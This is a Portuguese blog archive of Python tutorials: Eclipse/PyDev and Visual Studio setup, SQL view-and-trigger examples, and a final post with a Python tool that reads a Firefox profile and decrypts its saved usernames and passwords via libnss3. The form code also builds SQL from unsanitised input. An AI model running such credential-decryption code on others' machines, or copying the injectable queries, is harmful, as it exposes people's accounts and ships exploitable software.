Arquivo da categoria ‘Python’

PyDev – Eclipse IDE for Python – Linux

Publicado: 21 de setembro de 2014 em Python

O Eclipse é uma plataforma de desenvolvimento de software livre extensível, baseada em Java, que foi desenvolvido à partir de uma contribuição inicial do código da IBM, o Eclipse cresceu para um ecossistema de software livre completo com participação de mais de cem empresas unidas para criar uma estrutura de software livre extensível, móvel, com um design maduro, robusto e elegante, o Eclipse traz à tona toda uma nova dinâmica. Por si só, é simplesmente uma estrutura e um conjunto de serviços para desenvolvimento de aplicativos de componentes de plug-in.

PyDev é uma IDE Python para Eclipse, que pode ser usado em Python, Jython, desenvolvimento IronPython e Django. A IDE utiliza técnicas avançadas de inferência de tipos para fornecer recursos como conclusão de código e análise de código, enquanto ainda fornece muitos outros recursos, como depurador, console interativo, refactoring e muitos outros.

Saiba sobre o IBM Eclipse: Plataforma Eclipse

Saiba sobre o PyDev: http://pydev.org/

Download: Eclipse Java EE

Instalando o PyDev – Eclipse IDE for Python

Instalar o PyDev é muito simples basta ter qualquer versão da plataforma Eclipse superior ou igual a versão 3.7.1, para instalar o Eclipse no Linux você precisa ter o Java Runtime instalado. Para não ter problemas com o menu do Eclipse no Ubuntu, utilize a linha abaixo para descompactar o Eclipse.

Instala Java Runtime:
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java7-installer

Descompacta Eclipse Ubuntu:
tar xzvf eclipse-cpp-luna-R-linux-gtk-x86_64.tar.gz

1 – Abra sua versão do Eclipse e feche a janela Welcome:

Eclipse - Bem-vindo

Eclipse – Bem-vindo

2 – No menu Help escolha Install New Software, em Work With coloque o seguinte endereço e tecle Enter, aguarde o Eclipse encontrar o software, selecione PyDev e clique em Next: http://pydev.org/updates

3 – Selecione o Software encontrado e clique em Next:

PyDev Eclipse IDE for Python

PyDev Eclipse IDE for Python

4 – Aceite a licença e clique em Finish:

Licença

Licença

5 – Aguarde o andamento da instalação:

Andamento

Andamento

6 – Será preciso confiar no certificado da empresa detentora do PyDev a BrainWy Software, clique no certificado da empresa e clique em OK:

Certificado Brainwy Software

Certificado Brainwy Software

7 – Após a instalação completa, você precisa abrir a perspectiva Python para a IDE Eclipse, este é um conceito do Eclipse, cada perspectiva permite que você tenha uma interface gráfica diferente, exemplo, Java, Java EE, C++ e a que nos interessa neste momento a interface para o Python, para abrir clique no ícone na barra de tarefas do lado superior direito ou no menu Windows->Open Perspective->Other e escolha PyDev:

PyDev - Perspective

PyDev – Perspective

8 – Com a perspectiva PyDev Aberta, clique em File->New->Project, escolha a pasta PyDev e expanda e você verá os tipos de projetos que você pode utilizar, eles são Django, Google App Engine e PyDev, escolha PyDev Project, nomeie seu projeto de HelloPyDev:

PyDev Project

PyDev Project

9 – Agora você precisa configurar o interpretador Python, visto que muitos tipos de projetos como o Google App Engine suportam apenas a versão 2.7 do Python. Clique em Please Configure an Interpreter Before Proceeding e clique em Quick-Auto Config. Selecione a opção Add Project Diretory to the PythonPath e clique em Finish:

Configurar Interpretador Python

Configurar Interpretador Python

10 – Com o projeto PyDev criado, clique com o botão direito do mouse em cima do seu projeto na janela PyDev Package Explorer, escolha New  e escolha PyDev Module, nomeie o pacote como DevAberto e modulo de hello e clique em Finish:

Modulo Python

Modulo Python

11 – Abra o arquivo hello.py, copie e cole o código abaixo no seu arquivo vazio:

Código Python

Código Python

12 – Clique em Run na barra de tarefas (seta verde), na janela Run As escolha Python Run:

Python Run

Python Run

13 – Pronto! Você criou o seu primeiro programa Python utilizando o PyDev na IDE Eclipse:

Programa - Python - Tkinter

Programa – Python – Tkinter

Exemplo:

Neste exemplo criamos um simples programa Python chamado Hello World utilizando a GUI Tkinter.

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Desenvolvimento Aberto
# hello.py

'''
Created on 21/09/2014

@author: Desenvolvimento Aberto
'''
# importa modulo
from Tkinter import *

# Cria classe hello
class hello(Frame):

    # Construtor da classe
    def __init__(self, formulario=None):
        Frame.__init__(self, formulario)
        # Cria texto
        texto = "PyDev - Python IDE for Eclipse - Linux" + \
                "\n\n\n\nDesenvolvimento Aberto\n\nHello World\n\nTkinter!!!!"               

        # Cria um novo label
        rotulo = Label(self, text = texto)

        # Retira espaço desocupado na janela
        rotulo.pack(padx=70, pady=30)
        self.pack()

# Cria aplicação
root = Tk(className="..::Desenvolvimento Aberto::.. - Linux")
app = hello(formulario=root)
app.mainloop()

A Microsoft mudou como empresa e está se tornando mais aberta e decidiu contribuir e firmar parcerias com as comunidades de código aberto e promover a interoperabilidade para tornar mais fácil e se tornar menos onerosa para os clientes que pretendem desenvolver e gerenciar ambientes de TI mistos. A Microsoft pretende participar ativamente do processo de definição de padrões e prestar apoio aos padrões já estabelecidos, em seus produtos emergentes.

A parceria se estende deste linguagens de programação como Java, Python e Ruby, programação para web como PHP e Drupal, tecnologia de servidores como Apache e Node.JS, servidores de banco de dados como MongoDB e até com o sistema operacional Linux, como a aliança firmada com a distribuição SUSE.

Suse/Microsoft: https://www.moreinterop.com/

Os membros mais céticos da comunidade Open Source ainda veem a entrada da Microsoft na comunidade com desconfiança devido a sua tradição de “parcerias” que resultaram em melhorias ou vários novos produtos muito rentáveis para seu casting e podemos citar alguns itens do seu tradicional histórico na qual mais recebeu do que contribuiu, como a parceria com a Sybase que resultou no Microsoft SQL Server, o Visual J++ e J# (Java .NET) que não foi endossado ou aprovado pela Sun Microsystems, a parceria com a SAP que ainda rende bons frutos adaptando o Windows Server e o MSSQL a nível empresarial para suportar sistemas críticos de grande porte que cujo o know-how adquirido ainda rendeu o extinto Solomon e seu atual ERP chamado Dynamics, entre inúmeras outras parcerias.

Microsoft Openness: http://www.microsoft.com/en-us/openness/default.aspx

 

Python Tools for Visual Studio

 O Python Tools for Visual Studio é um plugin de código aberto gratuito que transforma o Visual Studio em uma IDE Python.  O PTVs suporta CPython, IronPython, edição, navegação, Intellisense, misturado Python com  C++, suporta depuração, acesso remoto ao sistema operacional Linux e MacOS  para depuração, profiling, IPython, Django e computação em nuvem com bibliotecas do cliente para Windows, Linux e MacOS. O Python Tools for Visual Studio foi projetado, desenvolvido pela Microsoft e pela sua comunidade de código aberto.

PyTools: http://pytools.codeplex.com/

1 – Para instalar baixe o plugin pelo VS ou pelo site da Codeplex, abra o arquivo de instalação como administrador:

Licença Apache

Licença Apache

2 – Clique em instalar para iniciar a instalação:

Instalando

Instalando

3 – Clique em Finish quando a instalação tiver sido concluida:

Concluir

Concluir

4 – Nós presumimos que você já tenha a instalação do Python no seu computador, caso ainda não tenha acesse o link abaixo e instale a versão adequada para seu proposito, caso queira utilizar a tecnologia Google Cloud com Python, somente a versão 2.7.8 é suportada:

Python: https://www.python.org/download

Abra o Visual Studio e crie um novo Projeto do Tipo Python  e escolha um projeto do tipo, Python Application:

Projeto Python

Projeto Python

5 – Digite o código abaixo e compile o programa:

Python - Tkinter - Hello World

Python – Tkinter – Hello World

Pronto, você já pode utilizar a tecnologia Python da IDE Microsoft Visual Studio, para instruções completas de todos os recursos da ferramenta e utilize a documentação oficial:

Documentação: http://pytools.codeplex.com/documentation

Exemplo:

Neste exemplo compilamos um simples programa criado no sistema operacional Linux com a interface visual nativa do Python chamada Tkinter.

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Desenvolvimento Aberto
# visual.py

# importa modulo
from Tkinter import *

# Cria formulario
formulario = Tk()

# Cria um variavel de Texto.

texto = "Desenvolvimento Aberto\n\n" + \
         "Hello World\nTkinter!!!!" + \
         "\n\nVisual Studio"

# Cria um novo label
rotulo = Label(formulario, text = texto)

# Retira espaço desocupado na janela
rotulo.pack(padx=20, pady=20)

# Roda o loop principal do tcl
mainloop()

 

Uma View ou visão em português, é uma tabela virtual. A View não possui um armazenamento de dados permanente associado a ela, mas é baseada em outra tabela ou tabelas. Existem vários tipos de visões, elas podem variar suas funcionalidades de banco de dados para banco de dados, as Views mais comum são do tipo padrão, particionada ou materializada.

A visão fornece uma forma alternativa de olhar os dados em uma ou mais tabelas. A vista é uma especificação chamada de uma tabela de resultados. Conceitualmente, a criação de um ponto de vista é como o uso de binóculos. Você pode olhar através de binóculos para ver uma paisagem inteira ou olhar para uma imagem específica dentro da paisagem, como uma árvore. Da mesma forma, você pode criar uma visão que combina dados de diferentes tabelas de base ou criar uma visão limitada de uma tabela que omite dados. Na verdade, estes são os motivos mais comuns para usar um ponto de vista. Combinando informações de tabelas de base simplifica a obtenção de dados para o usuário final, e limitar os dados que um usuário pode ver é útil para fins de segurança.

Devido aos vários tipos diferentes de Views e suas respectivas diferenças de funcionalidades entre os bancos de dados Oracle, IBM DB2 e MSSQL é recomendado que você utilize os links oficiais para referencia:

Oracle: Create View
IBM DB2: Create View
Microsoft SQL Server: Create View

Python - View/Trigger

Python – View/Trigger

Algo Extremamente Útil Sobre Views

As Views são essenciais para uma boa performance de um sistema que manipula dados, elas são uteis de muitas maneiras diferentes, todos os sistemas grande porte utilizam tipos de View.

As Views acrescentam performance a aplicação, podem conter constraints e índices, podem criar visões baseadas em formato XML, podem ser utilizadas para fins de segurança, podem ser criadas a partir de tabelas particionadas alocadas em vários servidores diferentes e retornar uma visão única, são fundamentais na criação de complexos relatórios, modelo de dados para exportação e até no manuseio de cadastros.

As Views possuem um recurso muito útil quando unidas ao evento INSTEAD OF de uma Trigger, na verdade este tipo de evento foi desenvolvido especialmente para a utilização em conjunto com uma View (exceto para banco de dados MSSQL que permite o uso em tabelas comuns). A utilização do evento “ao invés de” em uma View permite que o desenvolvedor ganhe a maior performance possível na distribuição de dados baseados em uma única visão para varias tabelas físicas contidas em locais diferentes.

Isto acontece porque, por exemplo, um formulário de cadastramento complexo geralmente é composto de varias tabelas interligadas pelo seu identificador, a combinação ViewTrigger permite que você retorne em uma única pesquisa todo o cadastro utilizando um único acesso. Quando disparado um evento para criar um cadastro novo ou modificar um cadastro existente em cima de uma View, automaticamente uma Trigger “ao invés de inserir” ou “ao invés de alterar” pode distribuir todos os dados alimentados pelo usuário em cada tabela especifica, tendo em seu beneficio, que todo o processo esta sendo efetuado dentro do motor do banco de dados.

Exemplo:

Neste exemplo utilizamos o conceito básico de uma View em conjunto com o evento INSTEAD OF de uma Trigger, no programa abaixo o método de inserção esta completo, fica como exercício criar o método INSTEAD OF UPDATE e INSTEAD OF DELETE.

Você encontra uma visão contendo duas tabelas relacionadas, a tabela Funcionários e Desconto, e a partir de uma trigger utilizamos o evento “ao invés de inserir” para distribuir os dados para suas respectivas tabelas. Na aplicação Python o campo porcentagem se encontra em outra tabela, você pode utilizar este exemplo básico para criar cadastros mais complexos.

* Para referencia sobre as triggers utilize nosso post Python com o tópico Triggers.

** Você encontra este mesmo programa utilizando SQL direto na aplicação, clicando aqui.

SQL

Oracle

-- Cria tabela de funcionarios
create table Funcionarios(
  ID_Funcionario  NUMBER(5),
  Nome            VARCHAR2(30),
  Sobrenome       VARCHAR2(70),
  Cargo           VARCHAR2(30),
  Salario         NUMBER(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO NUMBER,
  PORCENTAGEM NUMBER(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   FOR EACH ROW 

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     :new.ID_FUNCIONARIO,
     :new.NOME,
     :new.SOBRENOME,
     :new.CARGO,
     :new.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     :new.ID_FUNCIONARIO,
     :new.PORCENTAGEM);  

   END CADFUNC_INSERT;

IBM DB2

-- Desenvolvimento Aberto --
-- Atente-se para o terminador de instruções
-- o IBM DATA STUDIO não consegue utilizar
-- Begin... END com scripts sql
-- Mude o terminador para o caractere @
-- para mudar clique com o botão direito do mouse aqui!!!

-- Cria tabela de funcionarios
create table Funcionarios (
    ID_Funcionario  INTEGER,
    Nome            VARCHAR(30),
    Sobrenome       VARCHAR(70),
    Cargo           VARCHAR(30),
    Salario         NUMERIC(9,2))@

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INTEGER,
  PORCENTAGEM DECIMAL(9,2))@

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO@

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   REFERENCING NEW AS N
      FOR EACH ROW 

  T1:  BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     N.ID_FUNCIONARIO,
     N.NOME,
     N.SOBRENOME,
     N.CARGO,
     N.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     N.ID_FUNCIONARIO,
     N.PORCENTAGEM);  

   END T1

MSSQL Server

-- Cria tabela de funcionarios
create table Funcionarios (
   ID_Funcionario  Int,
   Nome            VARCHAR(30),
   Sobrenome       VARCHAR(70),
   Cargo           VARCHAR(30),
   Salario         Decimal(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INT,
  PORCENTAGEM DECIMAL(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create Trigger CADFUNC_INSERT
    ON CadFuncionario INSTEAD OF INSERT as

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS
	Select
       ID_FUNCIONARIO,
       NOME,
       SOBRENOME,
       CARGO,
       SALARIO
	from inserted;

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO
	 Select
       ID_FUNCIONARIO,
      PORCENTAGEM
     from inserted

   END;

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Desenvolvimento Aberto
# View.py
 
# importa modulos
from Tkinter import *
import tkMessageBox
import cx_Oracle
import ibm_db
import odbc
 
# Cria formulario
formulario = Tk(className='Desenvolvimento aberto - View & Trigger')
formulario.geometry("470x390+300+300")
 
# Cria janela para menssagem
janela = Tk()
janela.wm_withdraw()
 
# Define banco de dados
# oracle = Oracle Database
# db2 = IBM DB2 Database
# mssql = Microsoft SQL Server
DBconexao = "oracle"
 
# Cria conexão com o banco de dados
def conectar(banco):
    # Cria string de conexão Oracle
    if (banco == "oracle"):
        sconexao = "user/pass@localhost/XE"
        try:
            con = cx_Oracle.connect(sconexao)
        except ValueError:
            tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
 
    if (banco == "db2"):
        # Cria string de conexão IBM
        sconexao = "DATABASE=DEVA" +  \
                   ";HOSTNAME=localhost;PORT=50000;PROTOCOL=TCPIP;" + \
                   "UID=user;" + \
                   "PWD=pass"
        try:
            con = ibm_db.connect(sconexao, "", "")
        except ValueError:
            tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
 
    if (banco == "mssql"):
        # Cria string de conexão MSSQL ODBC
        sconexao =  "MSSQLSERVER/user/pass"
        try:
            con = odbc.odbc(sconexao)
        except ValueError:
           tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
 
    return con
 
# Executa e retorna cursor
def retornaFuncionarioID(sql, con, banco):
    if (banco == "oracle"):
        cursor = con.cursor()
        cursor.execute(sql)
    if (banco == "db2"):
        cursor = ibm_db.exec_immediate(con, sql)
    if (banco == "mssql"):
        cursor = con.cursor()
        cursor.execute(sql)
    return cursor
 
# Limpa campo
def limpar():
    tcodigo.delete(0, END)
    tpnome.delete(0, END)
    tsnome.delete(0, END)
    tcargo.delete(0, END)
    tsalario.delete(0, END)
    tporcentagem.delete(0, END)
 
# Evento do botão
def on_Pesquisar():
    # Exibe banco de dados
    titulo['text'] = "Database: " + DBconexao
 
    # Cria conexão
    con = conectar(DBconexao)
 
    # Define e executa SQL
    sql = "Select * From CadFuncionario Where  ID_FUNCIONARIO = " + tpesquisa.get()
    tabela = retornaFuncionarioID(sql, con, DBconexao)
 
    # Cria cursor
    if (DBconexao == "oracle"):
        dados = tabela.fetchone()
    if (DBconexao == "db2"):
        dados = ibm_db.fetch_tuple(tabela)
    if (DBconexao == "mssql"):
        dados = tabela.fetchone()
 
    # Exibe dados
    limpar()
    tcodigo.insert(0, str(dados[0]))
    tpnome.insert(0, dados[1])
    tsnome.insert(0, dados[2])
    tcargo.insert(0, dados[3])
    tsalario.insert(0, str(dados[4]))
    tporcentagem.insert(0, str(dados[5]))
 
# limpa widgets
def on_novo():
    limpar()
    tcodigo.focus()
 
# Insere dados
def on_inserir():
    con = conectar(DBconexao)
    if (DBconexao != "db2"): cursor = con.cursor()
 
    sql ="Insert into CadFuncionario Values (" + \
          tcodigo.get() + ", '" + \
          tpnome.get() + "', '" + \
          tsnome.get() + "', '" + \
          tcargo.get() + "', " + \
          str(tsalario.get()).replace(",",".") + ", " + \
          str(tporcentagem.get()).replace(",",".")+ ")"
    try:
        if (DBconexao != "db2"):
            cursor.execute(sql)
            con.commit()
        else:
            cursor = ibm_db.exec_immediate(con, sql)
        tkMessageBox.showinfo(title="Menssagem", message="Dados inseridos com sucesso!", parent=janela)
    except ValueError:
        tkMessageBox.showinfo(title="Menssagem", message="Erro ao inserir dados!", parent=janela)
 
# Altera dados
def on_alterar():
    con = conectar(DBconexao)
    if (DBconexao != "db2"): cursor = con.cursor()

    #
    # TODO: Criar Trigger - INSTEAD OF UPDATE
    #
 
    sql ="Update CadFuncionario set " + \
          "ID_FUNCIONARIO = " + tcodigo.get() + ", NOME= '" + \
          tpnome.get() + "', SOBRENOME= '" + \
          tsnome.get() + "', CARGO= '" + \
          tcargo.get() + "', SALARIO= " + \
          str(tsalario.get()).replace(",",".") + ", " +  \
          str(tporcentagem.get()).replace(",",".") + " Where ID_FUNCIONARIO=" + tcodigo.get()
 
    try:
 
       if (DBconexao != "db2"):
           cursor.execute(sql)
           con.commit()
       else:
           cursor = ibm_db.exec_immediate(con, sql)            
 
       tkMessageBox.showinfo(title="Menssagem", message="Dados alterados com sucesso!", parent=janela)
    except ValueError:
        tkMessageBox.showinfo(title="Menssagem", message="Erro ao alterar dados!", parent=janela)
 
# Exclui dados
def on_apagar():
    con = conectar(DBconexao)
    if (DBconexao != "db2"): cursor = con.cursor()
 
    sql ="Delete From CadFuncionario Where ID_FUNCIONARIO = " + tcodigo.get()

    #
    # TODO: Criar Trigger - INSTEAD OF DELETE
    #
 
    try:
        if (DBconexao != "db2"):
            cursor.execute(sql)
            con.commit()
        else:
            cursor = ibm_db.exec_immediate(con, sql)
        limpar()
        tkMessageBox.showinfo(title="Menssagem", message="Dados excluidos com sucesso!", parent=janela)
    except ValueError:
        tkMessageBox.showinfo(title="Menssagem", message="Erro ao excluir dados!", parent=janela)
 
# Cria componentes widgets
titulo = Label(formulario, text="Database: Nenhum")
separador1 = Frame(height=2, bd=1, relief=SUNKEN)
separador2 = Frame(height=2, bd=1, relief=SUNKEN)

# labels
lcodigo = Label(formulario, text="Codigo:")
lpnome = Label(formulario, text="Nome:")
lsnome = Label(formulario, text="Sobrenome:")
lcargo = Label(formulario, text="Cargo:")
lsalario = Label(formulario, text="Salario:")
lporcentagem = Label(formulario, text="Porcentagem (%):")
 
# Entry
tcodigo = Entry(formulario)
tpnome = Entry(formulario)
tsnome = Entry(formulario)
tcargo = Entry(formulario)
tsalario = Entry(formulario)
tporcentagem = Entry(formulario)
 
# Pesquisa
lpesquisa = Label(formulario, text="Pesquisa:")
tpesquisa = Entry(formulario)
botao = Button(formulario, text = "Pesquisar", command=on_Pesquisar)
 
#Ações
painel = Frame()
bnovo = Button(painel, text="Novo", command=on_novo)
binserir = Button(painel, text="Inserir", command=on_inserir)
balterar = Button(painel, text="Alterar", command=on_alterar)
bapagar = Button(painel, text="Apagar", command=on_apagar)
 
# Define Layout
titulo.grid(row=0, sticky=W+E+N+S, pady=20)
separador1.grid(row=1,sticky=W+E+N+S, columnspan=3)

lcodigo.grid(row=3, sticky=W, padx=20)
tcodigo.grid(row=3, column=1, pady=5)
lpnome.grid(row=4,sticky=W, padx=20)
tpnome.grid(row=4, column=1, pady=5)
lsnome.grid(row=5,sticky=W, padx=20)
tsnome.grid(row=5, column=1, pady=5)
lcargo.grid(row=6, sticky=W, padx=20)
tcargo.grid(row=6, column=1, pady=5)
lsalario.grid(row=7, sticky=W, padx=20)
tsalario.grid(row=7, column=1, pady=5)
lporcentagem.grid(row=8, sticky=W, padx=20)
tporcentagem.grid(row=8, column=1, pady=5)
 
# Layout pesquisa
lpesquisa.grid(row=2, column=0, pady=20)
tpesquisa.grid(row=2, column=1, pady=20)
botao.grid(row=2, column=2,padx=10, pady=20)
 
# Loayout Ações
bnovo.grid(row =1, column=0, pady=10)
binserir.grid(row =1, column=1, pady=10)
balterar.grid(row =1, column=2, pady=10)
bapagar.grid(row =1, column=3, pady=10)
separador2.grid(row=9, sticky=W+E, columnspan=3, pady=10)
painel.grid(row=10, sticky=W+E, column=1, columnspan=1)
 
# loop do tcl
mainloop()

A Mozilla Foundation é uma fundação sem fins lucrativos que mantém todo o software e projetos Open Source da linha Mozilla, como Firefox, Thunderbird e complementos para os mesmo. Também é responsável por produzir documentação relacionada à internet e promover padrões de produção de conteúdo digital.

O Mozilla Firefox é um navegador livre e multi-plataforma desenvolvido pela Mozilla Foundation com ajuda de centenas de colaboradores. A intenção da fundação é desenvolver um navegador leve, seguro, intuitivo e altamente extensível.

Entre os navegadores mais utilizados da atualidade o Firefox é de longe o mais seguro, a empresa Mozilla desenvolveu um conjunto de bibliotecas de código aberto chamado de Serviços de Segurança de Rede, ou NSS, para fornecer aos desenvolvedores a capacidade de criar aplicativos que atendem a uma ampla variedade de padrões de segurança. O Firefox faz uso de uma API nesta biblioteca chamado Secret Decoder Ring, ou SDR, para facilitar a criptografia de credenciais da conta.

Estes valores são criptografados, e então, armazenados em um banco de dados SQLite chamado signons.sqlite codificado em base64. Tanto o signons.sqlite e key3.db fazem parte do contexto do usuário local. A chave SDR é guardada em um recipiente chamado de PKCS #11, que é um Token encapsulado dentro de um Slot do mesmo tipo.

Como Descriptografar as senhas do Firefox

A poderosa linguagem de programação Python permite que você faça coisas mirabolantes de um modo simples no qual antes era possível apenas com complexos códigos em C. Utilize os links abaixo para saber como o programa funciona e conceitos sobre o qual utilizamos para capturar e exibir as senhas do Firefox:

DA - Firefox Password Recovery - Linux

DA – Firefox Password Recovery – Linux

Requisitos

Linguagem:  Python.

Nivel: Difícil.

Modulos Externos Python: Download WxPython  ou use: aptget install pythonwxgtk2.8

Detalhes Sobre a Criptografia: Network Security Services 

Tipo de criptografia: PK11SDR_Encrypt

Detalhes Sobre o Armazenamento de credenciais Firefox: SQLLite

Local físico de armazenamento das credenciais:  ~/.mozilla/firefox

Nome do banco de dados: key3.db, signongs.sqlite, cert8.db

Multi-Plataforma

A linguagem de programação Python é multi-plataforma, então poderíamos supor que este programa funcionaria em Windows ou Mac sem nenhum problema correto?

Errado! Apesar de 99% deste programa ser multi-plataforma, 1% dele não é! Apenas uma linha de código! Justamente por este motivo preferimos criar este programa para uma versão Linux, para ressaltar que um desenvolvedor deve conhecer o sistema operacional no qual esta programando independente da linguagem ser multi-plataforma ou não, isto se deve aos diversos conceitos entre os sistemas operacionais.

Para Linux utilizamos um arquivo .SO (equivalente a um arquivo .dll para Windows ou um arquivo .dylib para Apple) chamado libnss3.so que é uma biblioteca de segurança (Network Security Service 3) já inclusa em muitas distribuições Linux. Para transportar este código para outra plataforma além do Linux, você pode usar o arquivo C disponível pela Mozilla que você encontra nos links acima ou utilizar a função PK11SDR_Decrypt em algum pacote de biblioteca no sistema operacional de sua preferencia.

Apple: Dynamic Library
Linux: Dynamic Library
Windows: Dynamic Library

Projeto Open Source

Você encontra uma versão deste programa atualizada e convertida para um executável do Linux, e também os códigos fontes da ultima versão desta ferramenta no seguinte link:

Projeto hospedado: https://code.google.com/p/da-firefox-password-recovery/

 

Exemplo:

Neste exemplo criamos um simples programa na linguagem de programação Python que captura os sites e exibe as senha armazenadas pelo navegador Mozilla Firefox.

Licença: http://opensource.org/licenses/MIT

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Versão 1.0 - Betha
# DaFirefoxMain.py

# The MIT License (MIT)
#
# Copyright (c) 2014 - Ricardo Mantovani - Desenvolvimento Aberto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# importa modulos
import wx
import wx.grid
import sqlite3
import os
import getpass
import datetime
import platform
from ctypes import *
import glob
import re
import base64
import socket

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels = None, colLabels = None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass   

 # Classes de estruturas de senha
class SECItem(Structure):
   _fields_ = [('type',c_uint),('data',c_void_p),('len',c_uint)]

class secuPWData(Structure):
   _fields_ = [('source',c_ubyte),('data',c_char_p)]

(SECWouldBlock, SECFailure, SECSuccess) = (-2, -1, 0)
(PW_NONE, PW_FROMFILE, PW_PLAINTEXT, PW_EXTERNAL) = (0, 1 ,2 ,3)

# Inicializa Grade
dados = []
colLabels = ["Site (Action URL)", "Usuario (User)", "Senha (Password)"]
rowLabels = []
for linha in range(1, 150):
    rowLabels.append(str(linha))

# Captura arquivos no contexto do usuario
def contexto_usuario():
   appdata = os.getenv('HOME')
   usersdir = appdata+os.sep+".mozilla"+os.sep+'firefox'
   userdir = os.listdir(usersdir)
   dirs=[]
   for u in userdir:
      if os.path.isdir(usersdir + os.sep + u):
         dirs.append(usersdir + os.sep + u)
   return dirs 

# Captura o banco de dados signons.sqlite requer Firefox 3 ou superior
def lesignonDB(userpath,dbname):
   chave.NSS_Init(userpath)
   # Recupera dados de login
   conn = sqlite3.connect(userpath+os.sep+dbname)
   c = conn.cursor()
   c.execute("SELECT * FROM moz_logins;")
   # Descriptografa dados usando PK11SDR_Decrypt
   for row in c:
      # Retorna nome de usuario aplicando base64
      unome.data  = cast(c_char_p(base64.b64decode(row[6])), c_void_p)
      unome.len   = len(base64.b64decode(row[6]))
      # Retorna senha de usuario aplicando base64
      passwd.data = cast(c_char_p(base64.b64decode(row[7])), c_void_p)
      passwd.len  = len(base64.b64decode(row[7]))
      # Descriptografa usuario  aplicando PK11SDR
      chave.PK11SDR_Decrypt(byref(unome), byref(dectexto), byref(passdados))
      usuario =  string_at(dectexto.data,dectexto.len)
      # Descriptografa senha aplicando PK11SDR
      chave.PK11SDR_Decrypt(byref(passwd), byref(dectexto), byref(passdados))
      senha   = string_at(dectexto.data, dectexto.len)
      captura = [row[1], usuario, senha]
      dados.append(captura)
   # Fecha conexões
   c.close()
   conn.close()
   chave.NSS_Shutdown()

# Repeura logins no contexto do usuario
abrirPass = contexto_usuario()

# Le SO externa
chave = CDLL("libnss3.so")

# Cria instancia da classe
passdados = secuPWData()
passdados.source = PW_NONE
passdados.data=0

# Cria instancia da estrutura de criptografia
unome = SECItem()
passwd = SECItem()
dectexto = SECItem()

# Retorna arquivos para desencriptar dados
for u in abrirPass:
   signonfiles = glob.glob(u + os.sep + "signons*.*")
   for s in signonfiles:
      (filepath,filename) = os.path.split(s)
      filetype = re.findall('\.(.*)',filename)[0]
      if filetype.lower() == "sqlite":
         lesignonDB(filepath, filename)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5, 10), size=(850, 240))
        tableBase = GenericTable(dados, rowLabels, colLabels)
